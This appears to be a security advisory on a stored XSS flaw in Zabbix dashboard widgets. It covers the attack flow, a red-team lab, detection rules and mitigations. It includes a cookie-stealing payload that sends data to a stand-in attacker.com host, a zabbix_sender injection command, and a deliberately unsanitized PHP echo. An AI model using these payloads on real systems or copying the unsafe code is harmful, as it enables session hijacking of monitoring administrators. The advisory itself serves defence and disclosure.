CVE-2026-23928

Executive Summary

CVE-2026-23928 is a stored Cross-Site Scripting (XSS) vulnerability affecting the Zabbix monitoring platform. The flaw resides in the Item history widget (Zabbix 7.0+) and the Plain text widget (Zabbix 6.0). When HTML display is enabled for these widgets, JavaScript code injected into a monitored host's data (e.g., a crafted item value) will be executed in the browser of any user viewing a dashboard containing the widget.

This is a stored XSS scenario where the attacker must first compromise a monitored host or have the ability to inject malicious data into a Zabbix item. The injected script then executes in the context of the Zabbix frontend session, potentially allowing the attacker to perform actions such as creating new users, modifying dashboards, or exfiltrating session tokens.

Risk Level: Medium (CVSS 4.8). The attack requires an authenticated attacker with the ability to modify monitored host data, and user interaction (viewing the dashboard) is required. However, the impact is amplified in environments where Zabbix is used for critical infrastructure monitoring.

Supply Chain & Package Security

This vulnerability is not related to a software supply chain issue (e.g., NPM, PyPI, Go, Ruby). It is a configuration and input validation flaw within the Zabbix frontend application itself. The risk is primarily to organizations that have deployed Zabbix and enabled HTML display in the affected widgets.

CVSS Breakdown & Threat Level

CVSS Score: 4.8 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network - The attacker can inject the malicious payload over the network via the monitored host.
• Attack Complexity (AC): Low - No special conditions are required beyond the ability to inject data.
• Privileges Required (PR): Low - The attacker needs to be able to modify data on a monitored host (e.g., as a low-privileged user on that host).
• User Interaction (UI): Required - A user must open a dashboard containing the affected widget.
• Scope (S): Changed - The vulnerability allows the attacker to impact resources beyond the original widget (e.g., the Zabbix frontend session).
• Confidentiality (C): Low - Potential for limited data exfiltration.
• Integrity (I): Low - Potential for limited data modification (e.g., creating new dashboards).
• Availability (A): None - No direct impact on availability.

Threat Level: Medium. The attack is not trivial as it requires the attacker to have control over a monitored host and the victim to view a specific dashboard. However, in many Zabbix deployments, monitored hosts are numerous and may have weak security, making this a viable attack vector.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The Zabbix frontend, when rendering the Item history widget (Zabbix 7.0+) or the Plain text widget (Zabbix 6.0), does not properly sanitize the data retrieved from the Zabbix database when the "HTML display" option is enabled.

Attack Flow:

1. Prerequisite: The attacker must have the ability to modify the value of a Zabbix item on a monitored host. This could be achieved by:
   • Compromising the monitored host's Zabbix agent.
   • Having write access to the Zabbix database (e.g., via SQL injection).
   • Using a Zabbix trapper item that accepts data from external sources.
2. Injection: The attacker sets the item value to a malicious JavaScript payload, for example:

   <script>alert('XSS')</script>
   

   or a more sophisticated payload to steal cookies or perform actions:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

3. Trigger: A Zabbix user (e.g., an administrator) opens a dashboard that includes the affected widget configured to display the compromised item with HTML display enabled.
4. Execution: The Zabbix frontend fetches the item value from the database and renders it in the widget. Because HTML display is enabled, the browser interprets the injected <script> tag or event handler, executing the attacker's JavaScript.
5. Impact: The JavaScript executes in the context of the victim's Zabbix session. The attacker can:
   • Steal session cookies (if not HttpOnly).
   • Perform actions on behalf of the victim (e.g., create new users, modify hosts, delete dashboards).
   • Deface the dashboard.
   • Redirect the user to a malicious site.

Key Difference between Zabbix 6.0 and 7.0:

• In Zabbix 6.0, the vulnerable widget is the Plain text widget.
• In Zabbix 7.0, the Plain text widget was replaced by the Item history widget, which inherits the same vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerability exists in the frontend code that renders the widget. A simplified vulnerable PHP/JavaScript snippet might look like:

// Vulnerable: Directly outputs the item value without sanitization
echo "<div class='widget-content'>" . $itemValue . "</div>";

When $itemValue contains <script>alert('XSS')</script>, the browser executes it.

Patched Code (Conceptual): A proper fix would involve HTML-encoding the output or stripping script tags. For example:

// Patched: HTML-encode the item value
echo "<div class='widget-content'>" . htmlspecialchars($itemValue, ENT_QUOTES, 'UTF-8') . "</div>";

Alternatively, the "HTML display" option should be removed or require explicit, secure configuration.

Note: No official patch has been released by Zabbix at this time. The recommended mitigation is to disable the "HTML display" option in the affected widgets.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

1. Zabbix Server: Install Zabbix 6.0 or 7.0 (e.g., using Docker).

   docker run --name zabbix-server -e DB_SERVER_HOST="zabbix-db" -d zabbix/zabbix-server-mysql:latest
   

2. Zabbix Frontend: Install the Zabbix frontend.

   docker run --name zabbix-web -e ZBX_HOSTNAME="zabbix-server" -e ZBX_SERVER_HOST="zabbix-server" -d zabbix/zabbix-web-nginx-mysql:latest
   

3. Monitored Host: Set up a simple host with a Zabbix agent.
4. Create a Dashboard: Create a dashboard with an Item history widget (Zabbix 7.0) or Plain text widget (Zabbix 6.0) that displays an item from the monitored host. Enable the "HTML display" option in the widget configuration.
5. Inject Payload: On the monitored host, modify the item value to include a JavaScript payload. For example, using the Zabbix agent:

   zabbix_sender -z <zabbix_server_ip> -s "Test Host" -k "test.item" -o "<script>alert('XSS')</script>"
   

6. Trigger: As a victim user, open the dashboard containing the widget. The JavaScript will execute.

Exploit Code (No public exploit available): Since no public exploit code is available, the above steps serve as a proof of concept.

Blue Team (Detection & Defense)

Detection:

• Monitor Zabbix Item Values: Look for suspicious patterns in item values, especially those containing HTML tags or JavaScript code.
• Audit Widget Configurations: Regularly check dashboards for widgets with "HTML display" enabled.
• Web Application Firewall (WAF): Deploy a WAF in front of the Zabbix frontend to detect and block XSS payloads in HTTP requests.

Defense:

• Disable HTML Display: The primary mitigation is to disable the "HTML display" option in all Item history and Plain text widgets.
• Input Validation: Implement strict input validation on the Zabbix agent or trapper to reject values containing HTML/JavaScript.
• Content Security Policy (CSP): Implement a strict CSP header on the Zabbix frontend to mitigate the impact of XSS.
• Session Security: Ensure session cookies are set with HttpOnly and Secure flags.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the Zabbix frontend to attacker-controlled domains (e.g., for cookie exfiltration).
  • Unusual patterns in Zabbix item values containing <script>, <img onerror=, or other HTML event handlers.
• Host IOCs:
  • Modified Zabbix item values on monitored hosts that contain JavaScript code.
  • Unauthorized changes to Zabbix dashboards or user accounts.
• Log IOCs:
  • Zabbix audit logs showing creation of new users or modification of dashboards by unexpected users.
  • Web server logs (e.g., Nginx/Apache) showing requests to the Zabbix frontend with XSS payloads in query parameters or POST data.

Detection Engineering

YARA Rule

rule Detect_Zabbix_XSS_Payload {
    meta:
        description = "Detects potential XSS payloads in Zabbix item values"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-23928"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+on\w+\s*=\s*['"][^'"]*['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Zabbix XSS Payload in Item Value
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS payloads in Zabbix item values
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23928
logsource:
    product: zabbix
    service: database
detection:
    selection:
        item_value|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in item values (if HTML display is intentionally used)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Zabbix XSS Payload Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/zabbix/"; http_uri; pcre:"/(<script|<[^>]+on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Disable HTML Display: For all Item history (Zabbix 7.0+) and Plain text (Zabbix 6.0) widgets, disable the "HTML display" option in the widget configuration.
2. Review Dashboards: Audit all dashboards to ensure no widgets have HTML display enabled.
3. Restrict Widget Permissions: Limit which users can create or modify dashboards to trusted administrators only.

Long-Term Remediation:

1. Apply Vendor Patch: Monitor Zabbix's official channels for a security patch and apply it as soon as it becomes available.
2. Upgrade Zabbix: If possible, upgrade to a version where the vulnerability is fixed (future release).
3. Implement Input Validation: Add server-side validation to reject item values containing HTML/JavaScript.
4. Enhance Monitoring: Implement the detection rules provided above to identify potential exploitation attempts.

Workarounds:

• Use the Text widget instead of the Item history or Plain text widget, as it may not have the same vulnerability.
• If HTML display is required, ensure that only trusted, non-user-modifiable items are displayed.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: 8162818893906CA5A0D85E40] */}